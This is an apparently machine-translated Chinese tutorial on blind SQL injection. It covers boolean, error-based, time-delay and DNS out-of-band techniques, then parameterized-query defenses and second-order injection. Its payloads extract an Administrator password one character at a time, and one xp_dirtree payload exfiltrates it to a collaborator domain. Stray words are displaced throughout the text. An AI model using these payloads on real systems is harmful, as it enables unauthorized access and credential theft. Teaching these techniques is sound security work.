目录
在本节中,我们将描述什么是盲SQL注入,解释查找和利用盲SQL注入漏洞的各种技术。
当应用程序容易受到 SQL 注入的攻击,但其 HTTP 响应不包含相关 SQL 查询的结果或任何数据库错误的详细信息时,就会出现盲 SQL 注入。
对于盲 SQL 注入漏洞,许多技术(如UNION攻击)无效,因为它们依赖于能够在应用程序的响应中看到注入查询的结果。仍然可以利用盲SQL注入来访问未经授权的数据,但必须使用不同的技术。
考虑使用跟踪 Cookie 收集有关使用情况的分析的应用程序。对应用程序的请求包括如下所示的 cookie 标头:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
处理包含 acookie 的请求时,应用程序使用如下所示的 SQL 查询确定这是否为已知用户:TrackingId
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
此查询容易受到 SQL 注入的攻击,但查询的结果不会返回给用户。但是,应用程序的行为确实有所不同,具体取决于查询是否返回任何数据。如果它返回数据(因为已提交已识别的数据),则页面中将显示“欢迎返回”消息。TrackingId
此行为足以利用盲 SQL 注入漏洞,并通过有条件地触发不同的响应来检索信息,具体取决于注入的条件。若要了解其工作原理,假设依次发送两个包含以下 cookie 值的请求:TrackingId
…xyz' AND '1'='1 …xyz' AND '1'='2
这些值中的第一个将导致查询返回结果,因为注入的条件为 true,因此将显示“欢迎回来”消息。而第二个值将导致查询不返回任何结果,因为注入的条件为 false,因此不会显示“欢迎回来”消息。这使我们能够确定任何单个注入条件的答案,从而一次提取一位数据。AND '1'='1
例如,假设有一个表被调用与列和,并且调用了一个用户。我们可以通过发送一系列输入来系统地确定此用户的密码,一次测试一个字符的密码。Users
Username
Password
Administrator
为此,我们从以下输入开始:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
这将返回“欢迎回来”消息,指示注入的条件为 true,因此密码的第一个字符大于。m
接下来,我们发送以下输入:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
这不会返回“欢迎回来”消息,指示注入的条件为 false,因此密码的第一个字符不大于。t
最终,我们发送以下输入,返回“欢迎回来”消息,从而确认密码的第一个字符是:s
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
我们可以继续此过程以系统地确定用户的完整密码。Administrator
注意
该函数在某些类型的数据库上被调用。有关更多详细信息,请参阅SQL 注入备忘单。
SUBSTRING
SUBSTR
在前面的示例中,假设应用程序执行相同的 SQL 查询,但根据查询是否返回任何数据,其行为没有任何不同。上述技术不起作用,因为注入不同的布尔条件对应用程序的响应没有影响。
在这种情况下,通常可以通过有条件地触发 SQL 错误(具体取决于注入的条件)来诱使应用程序返回条件响应。这涉及修改查询,以便在条件为 true 时导致数据库错误,但如果条件为 false,则不会导致数据库错误。通常,数据库抛出的未处理错误会导致应用程序的响应出现一些差异(例如错误消息),从而使我们能够推断注入条件的真实性。
若要了解其工作原理,假设依次发送两个包含以下 cookie 值的请求:TrackingId
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
这些输入使用 thekeyword 来测试条件,并根据表达式是否为 true 返回不同的表达式。对于第一个输入,表达式的计算结果为 to,这不会导致任何错误。对于第二个输入,它的计算结果为 ,这会导致被零除错误。假设错误导致应用程序的 HTTP 响应存在一些差异,我们可以利用这种差异来推断注入的条件是否为 true。CASE
CASE
'a'
1/0
使用这种技术,我们可以按照已经描述的方式检索数据,一次系统地测试一个字符:
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
注意
触发条件错误的方法多种多样,不同的技术对不同的数据库类型效果最好。
在前面的示例中,假设应用程序现在捕获数据库错误并正常处理它们。在执行注入的 SQL 查询时触发数据库错误不再会导致应用程序的响应有任何差异,因此前面诱导条件错误的技术将不起作用。
在这种情况下,通常可以通过有条件地触发时间延迟来利用盲 SQL 注入漏洞,具体取决于注入的条件。由于 SQL 查询通常由应用程序同步处理,因此延迟 SQL 查询的执行也会延迟 HTTP 响应。这使我们能够根据收到 HTTP 响应之前所花费的时间推断注入条件的真实性。
触发时间延迟的技术非常特定于所使用的数据库类型。在 Microsoft SQL Server 上,如下所示的输入可用于测试条件并触发延迟,具体取决于表达式是否为 true:
'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--
这些输入中的第一个不会触发延迟,因为条件为 false。第二个输入将触发 10 秒的延迟,因为条件为 true。1=2
1=1
使用这种技术,我们可以按照已经描述的方式检索数据,一次系统地测试一个字符:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
现在,假设应用程序执行相同的 SQL 查询,但执行异步查询。应用程序继续在原始线程中处理用户的请求,并使用另一个线程通过跟踪 Cookie 执行 SQL 查询。查询仍然容易受到 SQL 注入的影响,但是到目前为止描述的任何技术都不起作用:应用程序的响应不依赖于查询是否返回任何数据,也不取决于是否发生数据库错误,也不取决于执行查询所花费的时间。
在这种情况下,通常可以通过触发与您控制的系统的带外网络交互来利用盲 SQL 注入漏洞。与以前一样,可以根据注入的条件有条件地触发这些,以一次推断一位信息。但更强大的是,数据可以直接在网络交互本身中泄露。
各种网络协议可用于此目的,但通常最有效的是 DNS(域名服务)。这是因为许多生产网络允许 DNS 查询的免费出口,因为它们对于生产系统的正常运行至关重要。
使用带外技术的最简单、最可靠的方法是使用Burp协作器。这是一个服务器,它提供各种网络服务(包括 DNS)的自定义实现,并允许您检测何时由于将单个有效负载发送到易受攻击的应用程序而发生网络交互。对 Burp 协作器的支持内置于Burp Suite Professional中,无需配置。
触发 DNS 查询的技术高度特定于所使用的数据库类型。在 Microsoft SQL Server 上,如下所示的输入可用于在指定域上进行 DNS 查找:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
这将导致数据库对以下域执行查找:
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
您可以使用Burp Suite的协作者客户端生成唯一的子域,并轮询协作者服务器以确认何时发生任何DNS查找。
确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序泄露数据。例如:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
此输入读取用户的密码,附加唯一的协作者子域,并触发 DNS 查找。这将导致如下所示的 DNS 查找,允许您查看捕获的密码:Administrator
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外 (OAST) 技术是检测和利用盲 SQL 注入的一种极其强大的方法,因为它成功的可能性很高,并且能够直接泄露带外通道内的数据。出于这个原因,即使在其他盲目利用技术确实有效的情况下,OAST 技术通常也是可取的。
大多数 SQL 注入实例都可以通过在查询中使用参数化查询(也称为预准备语句)而不是查询中的字符串串联来阻止。
以下代码容易受到 SQL 注入的影响,因为用户输入直接连接到查询中:
String query = "SELECT * FROM products WHERE category = '"+ input + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query);
可以轻松地重写此代码,以防止用户输入干扰查询结构:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?"); statement.setString(1, input); ResultSet resultSet = statement.executeQuery();
参数化查询可用于不受信任的输入在查询中显示为数据的任何情况,包括 anorstatement 中的子句和值。它们不能用于处理查询其他部分中不受信任的输入,例如表或列名称或子句。将不受信任的数据放入查询的这些部分的应用程序功能需要采用不同的方法,例如将允许的输入值列入白名单,或使用不同的逻辑来提供所需的行为。WHERE
INSERT
UPDATE
ORDER BY
为了使参数化查询能够有效地防止 SQL 注入,查询中使用的字符串必须始终是硬编码常量,并且不得包含来自任何源的任何变量数据。不要试图逐个决定数据项是否受信任,并继续在查询中使用字符串串联来表示认为安全的情况。很容易对数据的可能来源犯错误,或者对其他代码的更改违反有关哪些数据被污染的假设。
一阶 SQL 注入出现在应用程序从 HTTP 请求获取用户输入并在处理该请求的过程中以不安全的方式将输入合并到 SQL 查询中的情况。
在二阶 SQL 注入(也称为存储的 SQL 注入)中,应用程序从 HTTP 请求中获取用户输入并将其存储以供将来使用。这通常是通过将输入放入数据库来完成的,但在存储数据的位置不会出现漏洞。稍后,在处理不同的 HTTP 请求时,应用程序会检索存储的数据,并以不安全的方式将其合并到 SQL 查询中。
二阶 SQL 注入通常出现在开发人员意识到 SQL 注入漏洞的情况下,因此可以安全地处理输入到数据库中的初始放置。当数据稍后被处理时,它被认为是安全的,因为它以前被安全地放入数据库中。此时,数据以不安全的方式处理,因为开发人员错误地认为它是受信任的。
SQL语言的一些核心功能在流行的数据库平台上以相同的方式实现,因此检测和利用SQL注入漏洞的许多方法在不同类型的数据库上的工作方式相同。
但是,常见数据库之间也存在许多差异。这意味着一些用于检测和利用SQL注入的技术在不同的平台上的工作方式不同。例如: